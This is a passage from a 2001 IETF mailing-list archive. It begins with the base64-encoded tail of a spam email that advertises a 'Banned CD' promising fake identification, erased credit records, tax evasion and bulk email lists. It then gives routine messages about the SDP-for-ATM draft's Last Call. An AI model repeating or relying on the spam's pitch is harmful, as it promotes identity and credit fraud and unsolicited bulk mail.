c3Nwb3J0cywNCmZha2UgaWRlbnRpZmljYXRpb24sPC9mb250PjwvZm9udD4NCjxicj48Zm9u
dCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5hbmQgZXZlcnl0aGluZyBlbHNlIHRo
YXQgeW91IHdvbid0DQpmaW5kIGluIHRoZSBiYWNrPC9mb250PjwvZm9udD4NCjxicj48Zm9u
dCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5vZiBTb2xkaWVyIG9mIEZvcnR1bmUg
bWFnYXppbmUhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25l
dXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNv
bG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KRmluZCBwcm9kdWN0cyB0byByZXNlbGwg
b24gdGhlIEludGVybmV0IHdpdGggb3VyPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBjb2xv
cj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5XaG9sZXNhbGUgRGlyZWN0b3J5IGNvbnRhaW5p
bmcNCm92ZXIgMSBtaWxsaW9uPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2
NjY2NiI+PGZvbnQgc2l6ZT0rMT4odGhhdCdzIHJpZ2h0LCBvbmUgbWlsbGlvbiEpIHdob2xl
c2FsZQ0Kc291cmNlcyBmb3I8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2
NjY2Ij48Zm9udCBzaXplPSsxPmNvbXB1dGVycywgZWxlY3Ryb25pY3MsIGJlYW5pZXMsDQp0
cmVuZCBpdGVtcyw8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48
Zm9udCBzaXplPSsxPmpld2VscnksIGNhcnMsIGNvbGxlY3RpYmxlcywgYW5kDQpldmVyeXRo
aW5nIGVsc2UhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25l
dXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNv
bG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KT3ZlciAyNSBtaWxsaW9uIGVtYWlsIGFk
ZHJlc3NlcywgZnJlc2ggYW5kPC9mb250PjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2
NjY2NiI+PGZvbnQgc2l6ZT0rMT50YXJnZXRlZCEgWW91IGNhbiB1c2UgdGhlc2UgdG8NCmNv
bnRhY3QgdGhlIHBlb3BsZTwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2
NjYiPjxmb250IHNpemU9KzE+YW5kIHNlbmQgdGhlbSB5b3VyIGFkdmVydGlzZW1lbnRzLjwv
Zm9udD48L2ZvbnQ+DQo8cD48aW1nIFNSQz0iaHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1h
Z2VzL2J1dHRvbi5naWYiIGhlaWdodD0xOSB3aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2
NiI+PGZvbnQgc2l6ZT0rMT4NCkZpbmQgb3V0IGhvdyB0byBnZXQgYSBjb21wbGV0ZWx5IG5l
dyBpZGVudGl0eS48L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48
Zm9udCBzaXplPSsxPkRpc2FwcGVhciB3aXRob3V0IGEgdHJhY2UhPC9mb250PjwvZm9udD4N
CjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25ldXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdp
ZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXpl
PSsxPg0KRmluZCBvdXQgaG93IHRvIEVSQVNFIGJhZCBjcmVkaXQgYW5kIGV2ZW48L2ZvbnQ+
PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmNyZWF0
ZSBhIHdob2xlIG5ldyBmaWxlIGluIHRoZQ0KY3JlZGl0IGJ1cmVhdSBjb21wdXRlcnMuPC9m
b250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8vY29tcHV6b25ldXNhLmNvbS9pbWFn
ZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5Pjxmb250IGNvbG9yPSIjNjY2NjY2
Ij48Zm9udCBzaXplPSsxPg0KTGVhcm4gaG93IHRvIGJlYXQgdGhlIElSUy4gVGF4IHRpcHMg
Zm9yIHRoZTwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250
IHNpemU9KzE+cmVzdCBvZiB1cy48L2ZvbnQ+PC9mb250Pg0KPHA+PGltZyBTUkM9Imh0dHA6
Ly9jb21wdXpvbmV1c2EuY29tL2ltYWdlcy9idXR0b24uZ2lmIiBoZWlnaHQ9MTkgd2lkdGg9
MTk+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+DQpDb21wbGV0ZSBndWlk
ZSBvbiBob3cgdG8gY2xhaW0gcHVibGljIGxhbmQ8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250
IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPm9mZmVyZWQgYnkgdGhlIEdvdmVybm1l
bnQuIFlvdQ0KY2FuIGZpbmQgeW91cjwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9
IiM2NjY2NjYiPjxmb250IHNpemU9KzE+ZHJlYW0gaG9tZSBmb3IgYSByaWRpY3Vsb3VzbHkg
bG93DQpwcmljZSBvciBidXk8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2
NjY2Ij48Zm9udCBzaXplPSsxPnByb3BlcnRpZXMgdG8gcmVzZWxsIGZvciBhIGh1Z2UNCnBy
b2ZpdCE8L2ZvbnQ+PC9mb250Pg0KPHA+PGltZyBTUkM9Imh0dHA6Ly9jb21wdXpvbmV1c2Eu
Y29tL2ltYWdlcy9idXR0b24uZ2lmIiBoZWlnaHQ9MTkgd2lkdGg9MTk+PGZvbnQgY29sb3I9
IiM2NjY2NjYiPjxmb250IHNpemU9KzE+DQpBY2NlcHQgY2hlY2tzIGZyb20geW91ciBjdXN0
b21lcnMgYnkgZmF4LDwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYi
Pjxmb250IHNpemU9KzE+cGhvbmUgYW5kIGVtYWlsIHdpdGggdGhlIGZ1bGwgd29ya2luZw0K
dmVyc2lvbiBvZjwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxm
b250IHNpemU9KzE+Q2hlY2tlciBTb2Z0d2FyZSBpbmNsdWRlZCE8L2ZvbnQ+PC9mb250Pg0K
PHA+PGltZyBTUkM9Imh0dHA6Ly9jb21wdXpvbmV1c2EuY29tL2ltYWdlcy9idXR0b24uZ2lm
IiBoZWlnaHQ9MTkgd2lkdGg9MTk+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9
KzE+DQpCdXNpbmVzcyBzb2Z0d2FyZSB0byBoZWxwIHlvdSBydW4geW91ciBzbWFsbDwvZm9u
dD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+YnVz
aW5lc3MsIGluY2x1ZGluZyBsYWJlbCBtYWtlcg0Kc29mdHdhcmUsIG1vbmV5PC9mb250Pjwv
Zm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5tYW5hZ2Vt
ZW50IHNvZnR3YXJlLCBJUlMgZm9yZ2l2ZW5lc3MNCnByb2dyYW0sPC9mb250PjwvZm9udD4N
Cjxicj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5kYXRhYmFzZSBzb2Z0
d2FyZSwgYW5kIG11Y2ggbW9yZS48L2ZvbnQ+PC9mb250Pg0KPHA+PGltZyBTUkM9Imh0dHA6
Ly9jb21wdXpvbmV1c2EuY29tL2ltYWdlcy9idXR0b24uZ2lmIiBoZWlnaHQ9MTkgd2lkdGg9
MTk+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+DQpBIGh1Z2UgY29sbGVj
dGlvbiBvZiBzY3JlZW5zYXZlcnMsIGdyYXBoaWNzLDwvZm9udD48L2ZvbnQ+DQo8YnI+PGZv
bnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+Y2xpcGFydCwgYW5kIGRlc2t0b3Ag
dGhlbWVzIHRvDQpzcGljZSB1cCB5b3VyIGNvbXB1dGVyLjwvZm9udD48L2ZvbnQ+DQo8cD48
aW1nIFNSQz0iaHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhl
aWdodD0xOSB3aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4N
Ck1VQ0gsIE1VQ0ggTU9SRSB0aGF0IHdlIGRvbid0IGhhdmUgcm9vbSB0byBsaXN0ITwvZm9u
dD48L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSsxPldlIGFyZSBzbyBjb25maWRlbnQgdGhhdCB5
b3Ugd2lsbCBsb3ZlIHRoaXMgQ0QgdGhhdCB3ZTwvZm9udD4NCjxicj48Zm9udCBzaXplPSsx
Pm9mZmVyIGEgZnVsbCAzMC1kYXksIG5vIHF1ZXN0aW9ucyBhc2tlZCBtb25leS1iYWNrPC9m
b250Pg0KPGJyPjxmb250IHNpemU9KzE+Z3VhcmFudGVlLiBUbyBvcmRlciB0aGUgIkJhbm5l
ZCBDRCIgcmlnaHQgbm93IGZvciB0aGU8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT5zdXBl
ciBsb3cgcHJpY2Ugb2Ygb25seSAkMTkuOTksIGp1c3QgY2xpY2sgb24gdGhlIGxpbms8L2Zv
bnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT5iZWxvdyB0byBwYXkgd2l0aCBhIFZpc2Egb3IgTWFz
dGVyY2FyZDo8L2ZvbnQ+DQo8YnI+Jm5ic3A7DQo8dGFibGUgQk9SREVSPTAgQ09MUz0yIFdJ
RFRIPSI1MCUiID4NCjx0cj4NCjx0ZD48Zm9udCBzaXplPSsyPjxhIGhyZWY9Imh0dHA6Ly93
d3cuY29tcHV6b25ldXNhLmNvbS9jY3BheW1lbnQvYmFubmVkY2Q3Mi5odG0iPk9yZGVyDQpO
b3chPC9hPjwvZm9udD48L3RkPg0KDQo8dGQ+DQo8Y2VudGVyPjxpbWcgU1JDPSJodHRwOi8v
Y29tcHV6b25ldXNhLmNvbS9pbWFnZXMvZ3VhcmFudGVlLmdpZiIgaGVpZ2h0PTk2IHdpZHRo
PTk1PjwvY2VudGVyPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD5PciB5b3UgbWF5
IHBheSB3aXRoIGNhc2gsIGNoZWNrIG9yIG1vbmV5IG9yZGVyIGJ5IHByaW50aW5nIHRoZSBv
cmRlcg0KPGJyPmZvcm0gYmVsb3cgYW5kIHNlbmRpbmcgaXQgd2l0aCB5b3VyIHBheW1lbnQu
DQo8cD48Yj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIENVVCBIRVJFIC0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tPC9iPg0KPHA+UHJvZHVjdDogIlRoZSBCYW5uZWQgQ0QiDQo8YnI+UHJp
Y2U6ICQxOS45OSArICQ0LjAxIHNoaXBwaW5nL2hhbmRsaW5nDQo8cD5IT1cgVE8gT1JERVIg
QlkgTUFJTDogUHJpbnQgb3V0IHRoaXMgb3JkZXIgZm9ybSBhbmQgc2VuZCBjYXNoLA0KPGJy
PnBlcnNvbmFsIGNoZWNrLCBtb25leSBvcmRlciBvciBjYXNoaWVyJ3MgY2hlY2sgdG8gdGhl
IGFkZHJlc3MgbGlzdGVkDQpiZWxvdzoNCjxwPlF1aWtzaWx2ZXIgRW50ZXJwcmlzZXMgSW5j
Lg0KPGJyPjM3OTIgQnJvYWR3YXkgIzM5OA0KPGJyPk5ldyBZb3JrLCBOWSAxMDAzMg0KPHA+
WW91ciBTaGlwcGluZyBJbmZvcm1hdGlvbjoNCjxwPllvdXIgTmFtZV9fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJyPllvdXIgQWRkcmVzc19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJyPllvdXIgQ2l0eV9f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJyPlN0YXRl
IC8gWmlwX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJy
PlBob25lICM6IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
Xw0KPGJyPihGb3IgcHJvYmxlbXMgd2l0aCB5b3VyIG9yZGVyIG9ubHkuIE5vIHNhbGVzbWVu
IHdpbGwgY2FsbC4pDQo8cD5FbWFpbCBBZGRyZXNzX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fXw0KPHA+UGxlYXNlIG5vdGUgdGhhdCBtYWlsLWluIG9yZGVycyBt
YXkgYmUgZGVsYXllZCAyLTQgd2Vla3MuDQo8cD5bIF0gSSBhbSBlbmNsb3NpbmcgYSBjaGVj
ayBvciBtb25leSBvcmRlciBmb3IgJDI0LjAwDQo8cD5bIF0gSSBhbSBtYWlsaW5nIG15IGNy
ZWRpdCBjYXJkIG51bWJlci4gKE5vdGUgeW91ciBjYXJkIHdpbGwgYmUgY2hhcmdlZA0KZm9y
ICQyNC4wMCkNCjxwPklmIHBheWluZyBieSBjcmVkaXQgY2FyZCwgcGxlYXNlIGZpbGwgaW4g
dGhlIGluZm9ybWF0aW9uIGJlbG93Og0KPHA+Q3JlZGl0IENhcmQgTnVtYmVyOl9fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fDQo8YnI+RXhwaXJhdGlvbiBEYXRlOl9fX19fX19f
X19fX19fX19fX19fX19fX19fXw0KPGJyPlNpZ25hdHVyZTpfX19fX19fX19fX19fX19fX19f
X19fX19fDQo8YnI+RGF0ZTpfX19fX19fX19fX19fX19fX19fXw0KPHA+Tk9URTogVGhpcyBD
RCBpcyBmb3IgaW5mb3JtYXRpb25hbCwgZWR1Y2F0aW9uYWwsIG9yDQo8YnI+ZW50ZXJ0YWlu
bWVudCBwdXJwb3NlcyBvbmx5LiZuYnNwOyBTb21lIG9mIHRoZSBhY3Rpdml0aWVzDQo8YnI+
ZGVzY3JpYmVkIG9uIHRoaXMgQ0QgbWF5IGJlIGlsbGVnYWwgaWYgY2FycmllZCBvdXQuDQo8
YnI+VGhpcyBDRCBjb250YWlucyBsaW5rcyBhbmQgYWRkcmVzc2VzIG9mIGNvbXBhbmllcw0K
PGJyPmFuZCBpbmRpdmlkdWFscyB3aGljaCBwcm9kdWNlIHZhcmlvdXMgcHJvZHVjdHMsIG9y
DQo8YnI+b2ZmZXIgdmFyaW91cyBzZXJ2aWNlcywgd2hpY2ggbWF5IGJlIGlsbGVnYWwgaW4g
eW91cg0KPGJyPmNvdW50cnksIHN0YXRlLCBvciBjaXR5LiZuYnNwOyBIb3dldmVyLCBpdCBp
cyBwZXJmZWN0bHkNCjxicj5MRUdBTCB0byBwdXJjaGFzZSBhbmQgcG9zc2VzcyB0aGUgQmFu
bmVkIENEIGluIHRoZQ0KPGJyPlVuaXRlZCBTdGF0ZXMgb2YgQW1lcmljYS4mbmJzcDsgQ29u
dGFpbnMgYXBwcm94aW1hdGVseQ0KPGJyPjEwMCBtZWdzIG9mIGluZm9ybWF0aW9uLg0KPHA+
U2hpcHBpbmcgb3V0c2lkZSBVU0EgYWRkICQxMC4wMA0KPHA+KioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCjxicj5Zb3UgYXJl
IHJlY2lldmluZyBhbiB1bnNvbGljaXRlZCBjb21tZXJjaWFsIGVtYWlsIGZyb20NCjxicj5R
dWlrc2lsdmVyIEVudGVycHJpc2VzIEluYy4mbmJzcDsgV2UgcmVjb2duaXplIHRoYXQgeW91
IG1heQ0KPGJyPm5vdCB3aXNoIHRvIHJlY2lldmUgc3VjaCBlbWFpbHMgaW4gdGhlIGZ1dHVy
ZSwgYW5kIHdlDQo8YnI+aGF2ZSBwcm92aWRlZCBhIGxpbmsgdG8gYXV0b21hdGljYWxseSBh
bmQgaW5zdGFudGx5DQo8YnI+cmVtb3ZlIHlvdXJzZWxmOiA8YSBocmVmPSJodHRwOi8vd3d3
LmNvbXB1em9uZXVzYS5jb20vcmVtb3ZlLmh0bSI+UkVNT1ZFPC9hPg0KPGJyPlRoaXMgbWVz
c2FnZSBpcyBiZWluZyBzZW50IHRvIHlvdSBpbiBjb21wbGlhbmNlIHdpdGgNCjxicj5mZWRl
cmFsIGd1aWRlbGluZXMgZ292ZXJuaW5nIHRoZSB0cmFuc21pc3Npb24gb2YNCjxicj51bnNv
bGljaXRlZCBjb21tZXJjaWFsIGVtYWlsLCBpbmNsdWRpbmcgdGhlIHByb3Zpc2lvbiBvZg0K
PGJyPmNvbnRhY3QgaW5mb3JtYXRpb24gZm9yIG91ciBjb21wYW55IHdpdGhpbiB0aGlzIGVt
YWlsLCBhDQo8YnI+dmFsaWQgcmV0dXJuIGVtYWlsIGFkZHJlc3MsIGFuZCBhIHdheSBmb3Ig
Y3VzdG9tZXJzDQo8YnI+dG8gcmVtb3ZlIHRoZW1zZWx2ZXMuJm5ic3A7IFBsZWFzZSBub3Rl
LCBob3dldmVyLCB0aGF0IG91cg0KPGJyPmVtYWlsIGFkZHJlc3Mgd2FzIHZhbGlkIGF0IHRo
ZSB0aW1lIG9mIHNlbmRpbmcsIGJ1dCBtYXkNCjxicj5iZSBjYW5jZWxsZWQgYnkgdGhlIElT
UCBzaG9ydGx5IHRoZXJlYWZ0ZXIgZHVlIHRvIG91cg0KPGJyPnVzZSBvZiB1bnNvbGljaXRl
ZCBlbWFpbC4mbmJzcDsgWW91IGNhbiByZWFkIGFib3V0IHRoZSB2YXJpb3VzDQo8YnI+bGF3
cyBnb3Zlcm5pbmcgdW5zb2xpY2l0ZWQgZW1haWw6IGh0dHA6Ly9zcGFtbGF3cy5jb20NCjxi
cj4iVW5zb2xpY2l0ZWQgY29tbWVyY2lhbCBlbGVjdHJvbmljIG1haWwgY2FuIGJlIGFuIGlt
cG9ydGFudA0KPGJyPm1lY2hhbmlzbSB0aHJvdWdoIHdoaWNoIGJ1c2luZXNzZXMgYWR2ZXJ0
aXNlIGFuZCBhdHRyYWN0DQo8YnI+Y3VzdG9tZXJzIGluIHRoZSBvbmxpbmUgZW52aXJvbm1l
bnQuIiZuYnNwOyAtLSBVLlMuIENvbmdyZXNzLA0KPGJyPkguUi4gMTA2dGggQ09OR1JFU1Mg
MmQgU2Vzc2lvbiBILiBSLiAzMTEzIFNlYy4gMiAoYSkzIEp1bHkNCjxicj4xOSwgMjAwMCBo
dHRwOi8vd3d3LnNwYW1sYXdzLmNvbS9mZWRlcmFsL2hyMzExMy5odG1sDQo8YnI+KioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioN
Cjxicj4mbmJzcDsNCjxicj4mbmJzcDsNCjwvYm9keT4NCjwvaHRtbD4NCg==

------=_NextPart_000_001__6535180_47834.83--


From confctrl-owner  Mon Jan 29 14:16:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA12192
	for confctrl-outgoing; Mon, 29 Jan 2001 14:16:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA12186
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 14:16:36 -0800 (PST)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0TMGVU26956
	for <confctrl@ISI.EDU>; Mon, 29 Jan 2001 14:16:31 -0800 (PST)
Received: from rkumar-ntl.cisco.com (dhcp-171-71-29-142.cisco.com [171.71.29.142])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id NAA01146;
	Mon, 29 Jan 2001 13:55:38 -0800 (PST)
Message-Id: <4.3.2.7.2.20010129135751.00d46d60@farley.cisco.com>
X-Sender: rkumar@farley.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 29 Jan 2001 14:01:12 -0800
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>, mwatson@nortelnetworks.com
From: Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Last Call: Conventions for the use of the Session
  Description  Protocol (SDP)for ATM Bearer Connections to Proposed
  Standard
Cc: iesg@ietf.org, confctrl@ISI.EDU
In-Reply-To: <28560036253BD41191A10000F8BCBD110385B3C4@zcard00g.ca.norte
 l.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Tom PT Taylor /IESG/Joerg Ott,

Mark Watson is the person in Tom-PT Taylor's organization who noted the 
discrepancy. He has also indicated the inconsistency to me today. I believe 
the IESG allows a final edit of the Internet Draft before it becomes an 
RFC. I will work with Mark Watson to clear the issue; I understand his point.

Does this sound like an acceptable solution? I hope we do not have to 
reiterate another Internet Draft before going to RFC.

Rajesh

At 04:26 PM 1/29/01 -0500, Tom-PT Taylor wrote:

>At the very last moment, someone in my organization has stated that there 
>is an inconsistency between the way User Service Information is conveyed 
>in Q.1950 (BICC) and the way it is conveyed in the 'isup-usi' attribute 
>described in the draft.  I cannot see the discrepancy myself.  The person 
>involved is in the UK, so I can't get back to them today. I've asked for 
>more details, which I should have tomorrow morning.  Apologies if this is 
>a false alarm.
>
> > -----Original Message-----
> > From: The IESG 
> [<mailto:iesg-secretary@ietf.org>mailto:iesg-secretary@ietf.org]
> > Sent: Tuesday, January 16, 2001 12:40 PM
> > To: IETF-Announce
> > Cc: confctrl@ISI.EDU
> > Subject: Last Call: Conventions for the use of the Session Description
> > Protocol (SDP)for ATM Bearer Connections to Proposed Standard
> >
> >
> >
> > The IESG has received a request from the Multiparty Multimedia Session
> > Control Working Group to consider Conventions for the use of the
> > Session Description Protocol (SDP)for ATM Bearer Connections
> > <draft-ietf-mmusic-sdp-atm-04.txt> as a Proposed Standard.
> >
> > The IESG plans to make a decision in the next few weeks, and solicits
> > final comments on this action.  Please send any comments to the
> > iesg@ietf.org or ietf@ietf.org mailing lists by January 29, 2001.
> >
> > Files can be obtained via
> > 
> <http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt>http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt 
>
> >
> >


Rajesh Kumar

********************************
Cisco Systems
rkumar@cisco.com
Phone 1 408 527 0811
Fax 1 408 853 1101
Page mailto:rkumar@epage.cisco.com


From confctrl-owner  Mon Jan 29 15:22:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA17437
	for confctrl-outgoing; Mon, 29 Jan 2001 15:22:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA17432
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 15:22:08 -0800 (PST)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0TNM7U07616
	for <confctrl@ISI.EDU>; Mon, 29 Jan 2001 15:22:08 -0800 (PST)
Received: from rkumar-ntl.cisco.com (dhcp-171-71-29-142.cisco.com [171.71.29.142])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id PAA14402;
	Mon, 29 Jan 2001 15:05:40 -0800 (PST)
Message-Id: <4.3.2.7.2.20010129151108.00e65a90@farley.cisco.com>
X-Sender: rkumar@farley.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 29 Jan 2001 15:11:14 -0800
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>, mwatson@nortelnetworks.com
From: Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Last Call: Conventions for the use of the Session
  Description  Protocol (SDP)for ATM Bearer Connections to Proposed
  Standard
Cc: iesg@ietf.org, confctrl@ISI.EDU, rkumar@cisco.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Tom PT Taylor /IESG/Joerg Ott,

Mark Watson is the person in Tom-PT Taylor's organization who noted the 
discrepancy. He has also indicated the inconsistency to me today. I believe 
the IESG allows a final edit of the Internet Draft before it becomes an 
RFC. I will work with Mark Watson to clear the issue; I understand his point.

Does this sound like an acceptable solution? I hope we do not have to 
reiterate another Internet Draft before going to RFC.

Rajesh

At 04:26 PM 1/29/01 -0500, Tom-PT Taylor wrote:

>At the very last moment, someone in my organization has stated that there 
>is an inconsistency between the way User Service Information is conveyed 
>in Q.1950 (BICC) and the way it is conveyed in the 'isup-usi' attribute 
>described in the draft.  I cannot see the discrepancy myself.  The person 
>involved is in the UK, so I can't get back to them today. I've asked for 
>more details, which I should have tomorrow morning.  Apologies if this is 
>a false alarm.
>
> > -----Original Message-----
> > From: The IESG 
> [<mailto:iesg-secretary@ietf.org>mailto:iesg-secretary@ietf.org]
> > Sent: Tuesday, January 16, 2001 12:40 PM
> > To: IETF-Announce
> > Cc: confctrl@ISI.EDU
> > Subject: Last Call: Conventions for the use of the Session Description
> > Protocol (SDP)for ATM Bearer Connections to Proposed Standard
> >
> >
> >
> > The IESG has received a request from the Multiparty Multimedia Session
> > Control Working Group to consider Conventions for the use of the
> > Session Description Protocol (SDP)for ATM Bearer Connections
> > <draft-ietf-mmusic-sdp-atm-04.txt> as a Proposed Standard.
> >
> > The IESG plans to make a decision in the next few weeks, and solicits
> > final comments on this action.  Please send any comments to the
> > iesg@ietf.org or ietf@ietf.org mailing lists by January 29, 2001.
> >
> > Files can be obtained via
> > 
> <http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt>http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt 
>
> >
> >


Rajesh Kumar

********************************
Cisco Systems
rkumar@cisco.com
Phone 1 408 527 0811
Fax 1 408 853 1101
Page mailto:rkumar@epage.cisco.com


From confctrl-owner  Mon Jan 29 15:41:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA19158
	for confctrl-outgoing; Mon, 29 Jan 2001 15:41:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA19153
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 15:41:49 -0800 (PST)
Received: from east.isi.edu (east.isi.edu [38.245.76.2])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0TNfmU10817
	for <confctrl@isi.edu>; Mon, 29 Jan 2001 15:41:48 -0800 (PST)
Received: from maia.east.isi.edu (maia.east.isi.edu [38.245.76.14])
	by east.isi.edu (8.9.2/8.9.2) with SMTP id SAA09211;
	Mon, 29 Jan 2001 18:41:44 -0500 (EST)
Posted-Date: Mon, 29 Jan 2001 18:45:55 -0500
Message-Id: <10101292345.AA13594@maia.east.isi.edu>
Received: from LOCALHOST.east.isi.edu by maia.east.isi.edu (4.1/4.0.3-6)
	id <AA13594>; Mon, 29 Jan 01 18:45:56 EST
To: Rajesh Kumar <rkumar@cisco.com>
Cc: "Tom-PT Taylor" <taylor@nortelnetworks.com>, mwatson@nortelnetworks.com,
        iesg@ietf.org, confctrl@ISI.EDU
Reply-To: mankin@ISI.EDU
Subject: Re: Last Call: Conventions for the use of the Session Description Protocol (SDP)for ATM Bearer Connections to Proposed Standard 
In-Reply-To: Your message of Mon, 29 Jan 2001 15:11:14 -0800.
             <4.3.2.7.2.20010129151108.00e65a90@farley.cisco.com> 
Date: Mon, 29 Jan 2001 18:45:55 -0500
From: Allison Mankin <mankin@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rajesh,

Please include Scott Bradner and me (the ADs for the Wgs involved) in
the loop when you discuss the change needed with Mark.  You don't
need to cc the IESG. 

It is quite possible that the issues will be handled with an
RFC-Editor note - but Scott and I need to see what it is.

The IESG hasn't reviewed the spec yet, but will be doing so at
the next meeting if all else is well.

Allison (mankin@isi.edu)
Scott (sob@harvard.edu)

From confctrl-owner  Mon Jan 29 16:49:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
